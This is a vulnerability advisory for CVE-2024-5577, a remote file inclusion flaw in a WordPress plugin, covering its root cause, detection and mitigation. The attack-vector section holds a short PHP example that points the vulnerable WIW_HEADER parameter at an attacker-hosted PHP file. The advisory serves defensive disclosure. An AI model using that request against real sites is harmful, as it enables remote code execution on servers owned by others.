CVE-2024-5577: WordPress Plugin Remote File Inclusion RCE

CVE-2024-5577 is a remote file inclusion vulnerability in the Where I Was, Where I Will Be WordPress plugin that enables remote code execution. Attackers can include external files to execute arbitrary PHP code. This article covers technical details, affected versions, impact analysis, and mitigation strategies.

CVE-2024-5577 Overview

The Where I Was, Where I Will Be plugin for WordPress is vulnerable to Remote File Inclusion in version <= 1.1.1 via the WIW_HEADER parameter of the /system/include/include_user.php file. This makes it possible for unauthenticated attackers to include and execute arbitrary files hosted on external servers, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution. This requires allow_url_include to be set to true in order to exploit, which is not commonly enabled.

Critical Impact
The vulnerability allows remote attackers to execute arbitrary code and potentially take control of the affected system.

Affected Products

Where I Was, Where I Will Be plugin for WordPress (version <= 1.1.1)

Discovery Timeline

Not Available - Vulnerability discovered by Not Available
Not Available - Responsible disclosure to Not Available
Not Available - CVE CVE-2024-5577 assigned
Not Available - Not Available releases security patch
2024-06-14 - CVE CVE-2024-5577 published to NVD
2024-11-21 - Last updated in NVD database

Technical Details for CVE-2024-5577

Vulnerability Analysis

This Remote File Inclusion (RFI) vulnerability is due to improper validation of the WIW_HEADER parameter, allowing an attacker to specify an external URL containing malicious PHP code to be included and executed by the vulnerable script.

Root Cause

The root cause is the lack of input validation on user-controlled parameters in the file /system/include/include_user.php, coupled with allow_url_include being set to true in the PHP configuration.

Attack Vector

Attackers exploit this vulnerability by sending crafted HTTP requests to the vulnerable WordPress plugin, specifying external URLs in the WIW_HEADER parameter.

php

// Example exploitation code (sanitized)
$url = "http://attacker.com/malicious.php";
$response = file_get_contents("http://victim.com/system/include/include_user.php?WIW_HEADER=" . urlencode($url));

Detection Methods for CVE-2024-5577

Indicators of Compromise

Unusual outbound traffic to unknown servers
Unexpected PHP scripts execution
Alterations in usual server behavior

Detection Strategies

Monitoring for unusual patterns in the web server logs, especially requests to /system/include/include_user.php with parameters WIW_HEADER, can be effective. Additionally, inspect outbound network traffic for connections to untrusted URLs.

Monitoring Recommendations

Implement logging and alerting for access to /system/include/include_user.php and track network requests to non-whitelisted external servers. Enable PHP error logging to catch unexpected script executions.

How to Mitigate CVE-2024-5577

Immediate Actions Required

Disable allow_url_include in PHP configuration
Apply input validation for all user-controlled parameters
Conduct a code review to ensure proper validation is implemented

Patch Information

As of the last update, no specific patch information is available. It is critical to track vendor advisories and apply updates when released.

Workarounds

Disable allow_url_include in your PHP configuration file.

bash

# Configuration example
sudo vim /etc/php/7.4/apache2/php.ini
# Find and set:
allow_url_include = Off